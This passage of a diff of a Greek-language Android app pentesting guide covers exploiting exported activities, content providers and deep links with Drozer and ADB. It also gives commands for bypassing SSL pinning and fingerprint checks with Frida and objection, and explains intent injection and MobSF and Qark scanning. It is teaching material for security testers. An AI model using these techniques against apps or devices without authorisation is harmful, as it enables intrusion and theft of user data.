αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω ενός καναλιού SSL για ασφάλεια. +Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω καναλιού SSL για ασφάλεια. Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**. **Δεδομένα Analytics που αποστέλλονται σε τρίτους** -Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν ευαίσθητα δεδομένα λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων. +Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε τρίτες υπηρεσίες. ### SQLite DBs @@ -310,7 +314,7 @@ avd-android-virtual-device.md ### Drozer (Εκμετάλλευση Δραστηριοτήτων, Παρόχων Περιεχομένου και Υπηρεσιών) -Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλάβετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράσετε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\ +Από [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** σας επιτρέπει να **αναλαμβάνετε το ρόλο μιας εφαρμογής Android** και να αλληλεπιδράτε με άλλες εφαρμογές. Μπορεί να κάνει **οτιδήποτε μπορεί να κάνει μια εγκατεστημένη εφαρμογή**, όπως να χρησιμοποιήσει τον μηχανισμό Επικοινωνίας Μεταξύ Διαδικασιών (IPC) του Android και να αλληλεπιδράσει με το υποκείμενο λειτουργικό σύστημα.\ Το Drozer είναι ένα χρήσιμο εργαλείο για **να εκμεταλλευτείτε εξαγόμενες δραστηριότητες, εξαγόμενες υπηρεσίες και Παρόχους Περιεχομένου** όπως θα μάθετε στις επόμενες ενότητες. ### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων @@ -320,7 +324,7 @@ avd-android-virtual-device.md **Παράκαμψη εξουσιοδότησης** -Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παράκαμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**. +Όταν μια Δραστηριότητα είναι εξαγόμενη, μπορείτε να καλέσετε την οθόνη της από μια εξωτερική εφαρμογή. Επομένως, αν μια δραστηριότητα με **ευαίσθητες πληροφορίες** είναι **εξαγόμενη**, θα μπορούσατε να **παρακάμψετε** τους **μηχανισμούς αυθεντικοποίησης** **για να την αποκτήσετε**. [**Μάθετε πώς να εκμεταλλευτείτε εξαγόμενες δραστηριότητες με το Drozer.**](drozer-tutorial/index.html#activities) @@ -347,7 +351,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών [**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Πάροχος Περιεχομένου.**](android-applications-basics.md#content-provider)\ -Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι. +Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτοι. [**Μάθετε πώς να εκμεταλλευτείτε τους Παρόχους Περιεχομένου με το Drozer.**](drozer-tutorial/index.html#content-providers) @@ -364,7 +368,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity [**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Δέκτης Εκπομπών.**](android-applications-basics.md#broadcast-receivers)\ Θυμηθείτε ότι οι ενέργειες ενός Δέκτη Εκπομπών ξεκινούν στη μέθοδο `onReceive`. -Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, θα μπορούσε να είναι ευάλωτος.\ +Ένας δέκτης εκπομπών θα περιμένει για έναν τύπο μηνύματος. Ανάλογα με το πώς ο δέκτης χειρίζεται το μήνυμα, μπορεί να είναι ευάλωτος.\ [**Μάθετε πώς να εκμεταλλευτείτε τους Δέκτες Εκπομπών με το Drozer.**](#exploiting-broadcast-receivers) ### **Εκμετάλλευση Σχημάτων / Deep links** @@ -391,10 +395,10 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το Κάθε φορά που βρίσκετε ένα deep link ελέγξτε ότι **δεν λαμβάνει ευαίσθητα δεδομένα (όπως κωδικούς πρόσβασης) μέσω παραμέτρων URL**, γιατί οποιαδήποτε άλλη εφαρμογή θα μπορούσε **να προσποιηθεί το deep link και να κλέψει αυτά τα δεδομένα!** -**Παράμετροι στη διαδρομή** +**Παράμετροι στο μονοπάτι** -Πρέπει επίσης να **ελέγξετε αν κάποιο deep link χρησιμοποιεί μια παράμετρο μέσα στη διαδρομή** του URL όπως: `https://api.example.com/v1/users/{username}`, σε αυτή την περίπτωση μπορείτε να αναγκάσετε μια διαδρομή traversal αποκτώντας πρόσβαση σε κάτι όπως: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ -Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να είστε σε θέση να προκαλέσετε μια **Open Redirect** (αν μέρος της διαδρομής χρησιμοποιείται ως όνομα τομέα), **κατάληψη λογαριασμού** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/). +Πρέπει επίσης να **ελέγξετε αν κάποιο deep link χρησιμοποιεί μια παράμετρο μέσα στο μονοπάτι** του URL όπως: `https://api.example.com/v1/users/{username}`, σε αυτή την περίπτωση μπορείτε να αναγκάσετε μια διαδρομή πρόσβασης σε κάτι όπως: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ +Σημειώστε ότι αν βρείτε τα σωστά endpoints μέσα στην εφαρμογή μπορεί να είστε σε θέση να προκαλέσετε μια **Open Redirect** (αν μέρος του μονοπατιού χρησιμοποιείται ως όνομα τομέα), **κατάληψη λογαριασμού** (αν μπορείτε να τροποποιήσετε λεπτομέρειες χρηστών χωρίς CSRF token και το ευάλωτο endpoint χρησιμοποίησε τη σωστή μέθοδο) και οποιαδήποτε άλλη ευπάθεια. Περισσότερες [πληροφορίες σχετικά με αυτό εδώ](http://dphoeniixx.com/2020/12/13-2/). **Περισσότερα παραδείγματα** @@ -412,25 +416,25 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το #### SSL Pinning -Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με μια γνωστή αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες. +Το SSL Pinning είναι ένα μέτρο ασφαλείας όπου η εφαρμογή επαληθεύει το πιστοποιητικό του διακομιστή με ένα γνωστό αντίγραφο που είναι αποθηκευμένο μέσα στην ίδια την εφαρμογή. Αυτή η μέθοδος είναι απαραίτητη για την αποτροπή επιθέσεων MITM. Συνιστάται έντονα η εφαρμογή SSL Pinning για εφαρμογές που χειρίζονται ευαίσθητες πληροφορίες. -#### Επιθεώρηση Κίνησης +#### Επιθεώρηση Κυκλοφορίας -Για να επιθεωρήσετε την κίνηση HTTP, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κίνηση μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Για να επιθεωρήσετε την HTTP κυκλοφορία, είναι απαραίτητο να **εγκαταστήσετε το πιστοποιητικό του εργαλείου proxy** (π.χ., Burp). Χωρίς την εγκατάσταση αυτού του πιστοποιητικού, η κρυπτογραφημένη κυκλοφορία μπορεί να μην είναι ορατή μέσω του proxy. Για οδηγίες σχετικά με την εγκατάσταση ενός προσαρμοσμένου πιστοποιητικού CA, [**κάντε κλικ εδώ**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Διαμόρφωση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κίνησης. Για οδηγίες σχετικά με την τροποποίηση της Διαμόρφωσης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md). +Οι εφαρμογές που στοχεύουν **API Level 24 και άνω** απαιτούν τροποποιήσεις στη Ρύθμιση Ασφαλείας Δικτύου για να αποδεχτούν το πιστοποιητικό CA του proxy. Αυτό το βήμα είναι κρίσιμο για την επιθεώρηση κρυπτογραφημένης κυκλοφορίας. Για οδηγίες σχετικά με την τροποποίηση της Ρύθμισης Ασφαλείας Δικτύου, [**ανατρέξτε σε αυτό το σεμινάριο**](make-apk-accept-ca-certificate.md). Αν χρησιμοποιείται **Flutter** πρέπει να ακολουθήσετε τις οδηγίες σε [**αυτή τη σελίδα**](flutter.md). Αυτό συμβαίνει γιατί, απλά προσθέτοντας το πιστοποιητικό στο κατάστημα δεν θα λειτουργήσει καθώς το Flutter έχει τη δική του λίστα έγκυρων CA. #### Παράκαμψη SSL Pinning -Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για να επιθεωρήσετε την κίνηση HTTPS. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό: +Όταν έχει εφαρμοστεί το SSL Pinning, η παράκαμψή του γίνεται απαραίτητη για την επιθεώρηση της HTTPS κυκλοφορίας. Διατίθενται διάφορες μέθοδοι για αυτόν τον σκοπό: - Αυτόματα **τροποποιήστε** το **apk** για να **παρακάμψετε** το SSLPinning με [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Το καλύτερο πλεονέκτημα αυτής της επιλογής είναι ότι δεν θα χρειαστείτε root για να παρακάμψετε το SSL Pinning, αλλά θα χρειαστεί να διαγράψετε την εφαρμογή και να εγκαταστήσετε τη νέα, και αυτό δεν θα λειτουργήσει πάντα. - Μπορείτε να χρησιμοποιήσετε **Frida** (που συζητείται παρακάτω) για να παρακάμψετε αυτή την προστασία. Εδώ έχετε έναν οδηγό για τη χρήση Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - Μπορείτε επίσης να προσπαθήσετε να **παρακάμψετε αυτόματα το SSL Pinning** χρησιμοποιώντας **MobSF dynamic analysis** (εξηγείται παρακάτω) -- Αν νομίζετε ότι υπάρχει κάποια κίνηση που δεν καταγράφετε, μπορείτε να προσπαθήσετε να **προωθήσετε την κίνηση στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Αν νομίζετε ότι υπάρχει κάποια κυκλοφορία που δεν καταγράφετε, μπορείτε να προσπαθήσετε να **προωθήσετε την κυκλοφορία στο burp χρησιμοποιώντας iptables**. Διαβάστε αυτό το blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Αναζητώντας Κοινές Ευπάθειες Ιστού @@ -439,8 +443,8 @@ _Σημειώστε ότι μπορείτε να **παραλείψετε το ### Frida [Frida](https://www.frida.re) είναι ένα εργαλείο δυναμικής εργονομίας για προγραμματιστές, αναλυτές αντίστροφης μηχανικής και ερευνητές ασφαλείας.\ -**Μπορείτε να αποκτήσετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\ -Αν θέλετε να κάνετε pentest σε εφαρμογές Android πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida. +**Μπορείτε να έχετε πρόσβαση σε εκτελούμενες εφαρμογές και να συνδέσετε μεθόδους σε πραγματικό χρόνο για να αλλάξετε τη συμπεριφορά, να αλλάξετε τιμές, να εξάγετε τιμές, να εκτελέσετε διαφορετικό κώδικα...**\ +Αν θέλετε να κάνετε pentest σε Android εφαρμογές πρέπει να ξέρετε πώς να χρησιμοποιείτε το Frida. - Μάθετε πώς να χρησιμοποιείτε το Frida: [**Frida tutorial**](frida-tutorial/index.html) - Μερικά "GUI" για ενέργειες με το Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) @@ -473,7 +477,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ``` ### **Ευαίσθητα δεδομένα στο Keystore** -Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτήσετε πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν γι' αυτό ως χρήστης root ή κάποιος με φυσική πρόσβαση στη συσκευή θα μπορούσε να είναι σε θέση να κλέψει αυτά τα δεδομένα. +Στο Android, το Keystore είναι το καλύτερο μέρος για να αποθηκεύσετε ευαίσθητα δεδομένα, ωστόσο, με αρκετά δικαιώματα είναι ακόμα **δυνατό να αποκτήσετε πρόσβαση σε αυτό**. Καθώς οι εφαρμογές τείνουν να αποθηκεύουν εδώ **ευαίσθητα δεδομένα σε καθαρό κείμενο**, οι pentests θα πρέπει να ελέγχουν γι' αυτό ως χρήστες root ή κάποιοι με φυσική πρόσβαση στη συσκευή θα μπορούσαν να είναι σε θέση να κλέψουν αυτά τα δεδομένα. Ακόμα και αν μια εφαρμογή αποθηκεύει δεδομένα στο keystore, τα δεδομένα θα πρέπει να είναι κρυπτογραφημένα. @@ -481,9 +485,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` -### **Fingerprint/Biometrics Bypass** +### **Παράκαμψη Δακτυλικών Αποτυπωμάτων/Βιομετρικών** -Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικού αποτυπώματος** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:** +Χρησιμοποιώντας το παρακάτω σενάριο Frida, θα μπορούσε να είναι δυνατό να **παρακαμφθεί η αυθεντικοποίηση δακτυλικών αποτυπωμάτων** που ενδέχεται να εκτελούν οι εφαρμογές Android προκειμένου να **προστατεύσουν ορισμένες ευαίσθητες περιοχές:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` @@ -509,7 +513,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); Ο κίνδυνος έγκειται στην επιτρεπτικότητα στους επιτιθέμενους να ενεργοποιούν μη εξαγόμενα components εφαρμογής ή να έχουν πρόσβαση σε ευαίσθητους content providers παραπλανώντας αυτά τα Intents. Ένα αξιοσημείωτο παράδειγμα είναι το component `WebView` που μετατρέπει URLs σε αντικείμενα `Intent` μέσω `Intent.parseUri(...)` και στη συνέχεια τα εκτελεί, ενδεχομένως οδηγώντας σε κακόβουλες εισαγωγές Intent. -### Σημαντικά Σημεία +### Βασικά Σημεία - **Εισαγωγή Intent** είναι παρόμοια με το πρόβλημα Open Redirect του ιστού. - Οι εκμεταλλεύσεις περιλαμβάνουν την παράδοση αντικειμένων `Intent` ως extras, τα οποία μπορούν να ανακατευθυνθούν για να εκτελέσουν μη ασφαλείς λειτουργίες. @@ -544,26 +548,26 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest Παρατηρήστε ότι το MobSF μπορεί να αναλύσει **Android**(apk)**, IOS**(ipa) **και Windows**(apx) εφαρμογές (_Οι εφαρμογές Windows πρέπει να αναλύονται από ένα MobSF εγκατεστημένο σε έναν υπολογιστή Windows_).\ Επίσης, αν δημιουργήσετε ένα **ZIP** αρχείο με τον πηγαίο κώδικα μιας **Android** ή **IOS** εφαρμογής (πηγαίνετε στον ριζικό φάκελο της εφαρμογής, επιλέξτε τα πάντα και δημιουργήστε ένα ZIP αρχείο), θα μπορέσει να το αναλύσει επίσης. -Το MobSF επιτρέπει επίσης να κάνετε **diff/Compare** ανάλυση και να ενσωματώσετε το **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο. +Το MobSF επιτρέπει επίσης την **diff/Compare** ανάλυση και την ενσωμάτωση του **VirusTotal** (θα χρειαστεί να ρυθμίσετε το API key σας στο _MobSF/settings.py_ και να το ενεργοποιήσετε: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Μπορείτε επίσης να ρυθμίσετε το `VT_UPLOAD` σε `False`, τότε το **hash** θα **ανεβεί** αντί για το αρχείο. ### Βοηθητική Δυναμική ανάλυση με το MobSF **MobSF** μπορεί επίσης να είναι πολύ χρήσιμο για **δυναμική ανάλυση** σε **Android**, αλλά σε αυτή την περίπτωση θα χρειαστεί να εγκαταστήσετε το MobSF και το **genymotion** στον υπολογιστή σας (μια VM ή Docker δεν θα λειτουργήσει). _Σημείωση: Πρέπει να **ξεκινήσετε πρώτα μια VM στο genymotion** και **μετά το MobSF.**_\ Ο **δυναμικός αναλυτής MobSF** μπορεί να: -- **Dump application data** (URLs, logs, clipboard, screenshots που κάνατε εσείς, screenshots που έγιναν από τον "**Exported Activity Tester**", emails, SQLite βάσεις δεδομένων, XML αρχεία και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots, πρέπει να πατήσετε όταν θέλετε ένα screenshot ή πρέπει να πατήσετε "**Exported Activity Tester**" για να αποκτήσετε screenshots όλων των εξαγόμενων δραστηριοτήτων. +- **Dump application data** (URLs, logs, clipboard, screenshots που κάνατε εσείς, screenshots που έγιναν από τον "**Exported Activity Tester**", emails, SQLite βάσεις δεδομένων, XML αρχεία και άλλα δημιουργημένα αρχεία). Όλα αυτά γίνονται αυτόματα εκτός από τα screenshots, πρέπει να πατήσετε όταν θέλετε ένα screenshot ή να πατήσετε "**Exported Activity Tester**" για να αποκτήσετε screenshots όλων των εξαγόμενων δραστηριοτήτων. - Capture **HTTPS traffic** -- Use **Frida** to obtain **runtime** **information** +- Χρησιμοποιήστε το **Frida** για να αποκτήσετε **runtime** **information** -Από τις εκδόσεις Android **> 5**, θα **ξεκινήσει αυτόματα το Frida** και θα ρυθμίσει τις παγκόσμιες ρυθμίσεις **proxy** για να **συλλάβει** την κίνηση. Θα συλλάβει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται. +Από τις εκδόσεις Android **> 5**, θα **ξεκινήσει αυτόματα το Frida** και θα ρυθμίσει τις παγκόσμιες ρυθμίσεις **proxy** για να **καταγράψει** την κίνηση. Θα καταγράψει μόνο την κίνηση από την εφαρμογή που δοκιμάζεται. **Frida** -Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **ανίχνευση root** και **ανίχνευση debugger** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\ +Από προεπιλογή, θα χρησιμοποιήσει επίσης κάποια Frida Scripts για να **παρακάμψει το SSL pinning**, **root detection** και **debugger detection** και για να **παρακολουθήσει ενδιαφέροντα APIs**.\ Το MobSF μπορεί επίσης να **καλέσει εξαγόμενες δραστηριότητες**, να τραβήξει **screenshots** από αυτές και να τις **αποθηκεύσει** για την αναφορά. -Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε συνδεδεμένες μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\ -Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Frida scripts σας στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**"). +Για να **ξεκινήσετε** τη δυναμική δοκιμή πατήστε το πράσινο κουμπί: "**Start Instrumentation**". Πατήστε το "**Frida Live Logs**" για να δείτε τα logs που δημιουργούνται από τα Frida scripts και "**Live API Monitor**" για να δείτε όλες τις κλήσεις σε hooked μεθόδους, τα ορίσματα που περνιούνται και τις επιστρεφόμενες τιμές (αυτό θα εμφανιστεί μετά την πίεση του "Start Instrumentation").\ +Το MobSF επιτρέπει επίσης να φορτώσετε τα δικά σας **Frida scripts** (για να στείλετε τα αποτελέσματα των Friday scripts στο MobSF χρησιμοποιήστε τη λειτουργία `send()`). Έχει επίσης **πολλά προ-γραμμένα scripts** που μπορείτε να φορτώσετε (μπορείτε να προσθέσετε περισσότερα στο `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), απλά **επιλέξτε τα**, πατήστε "**Load**" και πατήστε "**Start Instrumentation**" (θα μπορείτε να δείτε τα logs αυτών των scripts μέσα στο "**Frida Live Logs**"). ![](<../../images/image (419).png>) @@ -574,9 +578,9 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest - **Capture String Comparisons**: Μπορεί να είναι πολύ χρήσιμο. Θα **δείξει τις 2 συμβολοσειρές που συγκρίνονται** και αν το αποτέλεσμα ήταν True ή False. - **Enumerate Class Methods**: Βάλτε το όνομα της κλάσης (όπως "java.io.File") και θα εκτυπώσει όλες τις μεθόδους της κλάσης. - **Search Class Pattern**: Αναζητήστε κλάσεις κατά μοτίβο -- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και τις εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api. +- **Trace Class Methods**: **Trace** μια **ολόκληρη κλάση** (δείτε τις εισόδους και εξόδους όλων των μεθόδων της κλάσης). Θυμηθείτε ότι από προεπιλογή το MobSF παρακολουθεί πολλές ενδιαφέρουσες μεθόδους Android Api. -Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Instrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**". +Αφού επιλέξετε το βοηθητικό module που θέλετε να χρησιμοποιήσετε, πρέπει να πατήσετε "**Start Intrumentation**" και θα δείτε όλες τις εξόδους στο "**Frida Live Logs**". **Shell** @@ -616,7 +620,7 @@ receivers ### [Qark](https://github.com/linkedin/qark) -Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" αναπτυξιμό APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν χρειάζεται να κάνετε root τη συσκευή δοκιμής. +Αυτό το εργαλείο έχει σχεδιαστεί για να αναζητά αρκετές **ευπάθειες σχετικές με την ασφάλεια εφαρμογών Android**, είτε στον **κώδικα πηγής** είτε σε **πακεταρισμένα APKs**. Το εργαλείο είναι επίσης **ικανό να δημιουργεί ένα "Proof-of-Concept" deployable APK** και **εντολές ADB**, για να εκμεταλλευτεί κάποιες από τις ευπάθειες που βρέθηκαν (Εκτεθειμένες δραστηριότητες, intents, tapjacking...). Όπως και με το Drozer, δεν υπάρχει ανάγκη να κάνετε root τη συσκευή δοκιμής. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -636,7 +640,7 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, η οποία αναλύει _.apk_ αρχεία αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες. +SUPER είναι μια εφαρμογή γραμμής εντολών που μπορεί να χρησιμοποιηθεί σε Windows, MacOS X και Linux, που αναλύει _.apk_ αρχεία αναζητώντας ευπάθειες. Το κάνει αυτό αποσυμπιέζοντας τα APK και εφαρμόζοντας μια σειρά κανόνων για να ανιχνεύσει αυτές τις ευπάθειες. Όλοι οι κανόνες είναι κεντραρισμένοι σε ένα αρχείο `rules.json`, και κάθε εταιρεία ή δοκιμαστής μπορεί να δημιουργήσει τους δικούς της κανόνες για να αναλύσει ό,τι χρειάζεται. @@ -709,11 +713,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 (Από αυτόν τον οδηγό) Την τελευταία φορά που ελέγξαμε, η λειτουργία του Dexguard ήταν: -- φορτώστε μια πηγή ως InputStream; -- τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από FilterInputStream για να το αποκρυπτογραφήσετε; -- κάντε κάποια άχρηστη απόκρυψη για να σπαταλήσετε μερικά λεπτά χρόνου από έναν αναλυτή; +- φορτώστε έναν πόρο ως InputStream; +- τροφοδοτήστε το αποτέλεσμα σε μια κλάση που κληρονομεί από το FilterInputStream για να το αποκρυπτογραφήσετε; 